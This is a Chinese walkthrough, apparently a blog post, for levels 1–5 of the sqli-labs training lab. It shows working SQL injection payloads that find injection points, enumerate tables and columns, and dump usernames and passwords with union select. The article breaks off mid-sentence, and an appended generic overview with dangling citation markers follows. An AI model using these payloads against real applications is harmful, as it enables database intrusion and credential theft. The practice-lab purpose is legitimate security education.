sqli-lab靶场(1-21关)

Less-1 字符型'注入

判断是否存在注入点

构造?id=1'导致数据库错误信息泄露,可以推断出此处存在注入点,并且对方正在使用Mysql数据库。

?id=1返回正常页面

?id=1' and 1=1--+ true,仍返回正常页面

?id=1' and 1=2--+false,什么也没返回,说明此处存在字符型sql注入

确定查询的列数

方法1:?id=-1' union select 1,2,3;--+

需要让之前的查询无返回数据,才能让我们构造的sql语句有回显:

方法2:首先猜测其查询的结果集有第3列,可以正常返回,再紧接着猜测是否有第4列,可以看到页面报错了,故可以猜测出该查询的结果集中最多只有3列

?id=1' order by 3;--+

?id=1' order by 4;--+

爆出数据库名

?id=0' union select 1,database(),@@datadir;--+

当前数据库名为security并且数据库的路径为E:\phpstudy_pro\Extensions\MySQL5.7.26\data\,即也已知了该数据库的版本信息。

爆出表名

Mysql数据库相关知识

Mysql服务器安装后默认创建如下系统数据库:

  • information_schema:存储关于数据库元数据的信息,如数据库、表、列和索引的详细信息,只读
  • mysql:存储mysql数据库服务器的核心数据,包括用户账户权限设置、服务器配置等。
  • performance_schema:用于收集和保存服务器性能数据,它提供了MySQL服务器性能的详细视图,帮助进行性能优化和调试。
  • sys:这个数据库包含视图和存储过程,这些视图和存储过程简化了性能数据的查询。它基于performance_schema数据库,提供了更易于理解的性能数据。在MySQL5.7及更高版本中引入的,如果你的MySQL版本低于5.7,那么将没有sys数据库。

在MySQL的information_schema数据库中,schemata表存储有关数据库的元数据,其中:

  • SCHEMA_NAME:Mysql中的所有数据库名

在MySQL的information_schema数据库中,tables表存储了关于数据库中所有表的元数据,其中:

  • TABLE_SCHEMA:表所属的数据库名称
  • TABLE_NAME:列所属的表名称

在MySQL的information_schema数据库中,columns表是一个非常重要的表,它存储了关于所有数据库中表的列(字段)的详细元数据信息,其中:

  • TABLE_SCHEMA:表所属的数据库名称
  • TABLE_NAME:列所属的表名称
  • COLUMN_NAME:列的名称

基于以上,我们就可以构造如下的sql语句,查询到security数据库下的所有表名:

?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';--+

即数据库在执行查询时实际在执行select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';union前一个的select语句结果集什么也不返回。

爆出字段名

很明显用户信息应该存储在users表中,我们尝试查询该表中的字段名,构造如下sql查询语句:

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns

where table_schema='security' and table_name='users';--+

结果如下:有3个字段名,分别为id,username,password

也可以尝试查询其他表的字段,看是否有可利用的敏感信息,如:

爆出数据

现在已知数据库名,表名,字段名,故可以进一步查询出所有数据,构造如下sql语句:

?id=0' union select 1,2,group_concat(username,':',password) from users;--+,查询出users表中的所有用户名和密码:

Less-2 数字型注入

?id=1';--+,页面报错,故存在注入点且参数id的值应该不是字符型数据。

?id=1 and 1=1;--+,返回正常页面:

?id=1 and 1=2;--+,返回异常页面,故可以判断出此注入为数字型注入。

Less-3 字符型')注入

?id=1'--+页面报错信息为:

错误信息解析

  • "You have an error in your SQL syntax;":意思是在SQL语法中存在错误。
  • "check the manual that corresponds to your MySQL server version for the right syntax to use near":提示需要查看MySQL版本对应的手册,以找到正确的语法使用方法。
  • "'1') LIMIT 0,1":具体指出了在执行查询时发生错误的位置,通常是由于单引号或者其他SQL语法错误导致的。

构造?id=1') and 1=1;--+,返回正常页面:

?id=1') and 1=2;--+,返回异常页面:

故此处存在')闭合的字符型sql注入。

Less-4 字符型")注入

?id=1"页面报错,报错信息为:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

进而输入?id=1"),报错信息为:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '") LIMIT 0,1' at line 1

则可以推断出对方sql查询语句字段处的闭合方式应该是"),我们对猜测进行验证:

?id=1") and 1=1--+,返回正常页面:

?id=1") and 1=2--+返回异常页面,故可以判断出该参数处存在")闭合的字符型sql注入。

Less-5 字符型'报错注入

当我们向URL参数id注入单引号?id=1' 发现数据库返回了如下错误信息:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

这表明在构造的SQL查询中存在语法错误,这意味着存在SQL注入漏洞。 为了进一步验证这一潜在的注入点,可以进行如下测试:

?id=1'--+返回正常页面,则此处参数的闭合方式必然是单引号'

?id=1' and 1=1--+返回正常页面,说明注入的SQL查询语法正确且没有破坏原有的查询逻辑。

?id=1' and 1=2--+ 返回异常页面,说明注入的SQL查询执行时,因为1=2的条件不成立,导致查询没有返回结果或返回异常页面。因此,这表明存在字符型注入,因为注入的'符号成功地闭合了原查询的字符串,并且后续的条件语句被成功执行。

由于页面没有返回任何其他数据的回显,我们可以考虑尝试基于错误信息的报错注入,以获取更多关于数据库的信息。此题也可以用盲注,只是比报错注入相对繁琐。

报错注入原理

步骤

注入点发现
  • 攻击者通过向应用程序的输入字段(如URL参数、表单输入框等)插入恶意SQL代码来寻找可能存在的注入点。
构造恶意注入
  • 攻击者在注入点插入特定的SQL语句片段,以触发数据库错误或异常。常见的方法包括在字符串中插入单引号'或其他特殊字符来破坏原始SQL查询的结构。
错误信息泄露
  • 当数据库执行包含恶意注入的SQL语句时,如果发生错误或异常,数据库系统可能会返回详细的错误消息或调试信息,其中可能包含关键的数据库信息,如数据库名称、表结构、数据记录等。
利用错误信息
  • 攻击者利用错误消息中泄露的敏感信息来进一步攻击系统,例如获取数据库名称、表名、列名等,甚至可能利用更高级的技术进一步扩展攻击,如联合查
### 于SQL注入实验室(sqli-lab)的解题思路 #### 实验室概述 SQLi-Labs 是一个用于学习和实践 SQL 注入漏洞利用技巧的开源项目。该项目提供了一系列具有不同复杂度级别的 Web 应用程序,旨在帮助安全研究人员理解和掌握各种类型的 SQL 注入攻击方法[^1]。 #### 基本准备 在开始尝试破解 sqli-lab 的各个卡之前,确保已经安装并配置好了实验环境。通常情况下,可以通过 Docker 或者直接部署 PHP 和 MySQL 来运行这些练习实例。熟悉如何启动服务以及访问目标网站是非常重要的前提条件[^2]。 #### 解决方案概览 对于每一个挑战级别,解决过程大致可以分为以下几个方面: - **理解应用程序逻辑**:仔细阅读页面上的提示信息,了解输入字段的作用范围及其背后可能存在的查询语句结构。 - **识别潜在入口点**:通过测试不同的参数组合来发现哪些地方可能存在未被充分验证过的用户输入路径。 - **构建有效载荷(Payload)**:基于前面两步获得的知识,精心设计能够绕过防护机制并执行恶意命令的数据包内容。 下面给出一些具体场景下的通用策略和技术要点说明: ##### Level 1 - Error Based Injection 当遇到错误消息泄露型注入时,可利用单引号 `'` 导致语法异常进而触发数据库报错的方式来进行探测。例如,在登录表单中提交如下用户名: ```sql ' OR '1'='1 ``` 如果返回了不同于正常情况的结果,则表明存在该类别的弱点[^3]。 ##### Union Query Attack 联合查询是一种常见的高级技术,它允许攻击者将额外的选择子附加到原始请求之后从而获取更多有用的信息片段。比如构造这样的 URL 参数字符串: ```http ?id=1 UNION SELECT null, version(), database() ``` 这会使得服务器响应除了原本预期之外还包含了当前使用的 DBMS 版本号及默认库名等敏感资料[^4]。 请注意以上仅作为理论指导而非详尽的操作指南;实际操作过程中还需要考虑诸多因素如编码方式转换、字符集差异处理等等细节问题。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值